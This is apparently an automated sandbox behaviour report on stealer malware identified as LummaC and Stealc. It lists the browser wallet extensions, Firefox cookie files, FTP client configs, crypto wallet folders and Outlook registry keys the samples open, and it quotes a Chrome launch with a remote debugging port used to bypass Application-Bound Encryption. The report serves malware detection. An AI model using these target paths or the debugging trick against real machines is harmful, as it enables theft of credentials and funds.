Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1830212681.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1829521154.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1828173832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1830344837.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1831976810.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1832350531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1828033872.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1835695200.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1833765561.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1827517066.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1827703782.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1835906268.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1829378955.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1803073510.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1829717579.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1834865370.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1829232794.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1836646510.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1833395225.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1836130970.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1833971224.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1829992929.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1829083326.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1780052201.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1835443939.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1835054371.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1802647580.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1833569093.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1830465001.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1831230939.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1833055693.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1836406182.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1830574619.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1831383332.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1832804800.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1827362513.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1831043610.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AWrVzd6XpC.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8c6b987a2c.exe PID: 2176, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: AWrVzd6XpC.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 8c6b987a2c.exe PID: 2176, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000005.00000003.2056866010.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2518247664.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
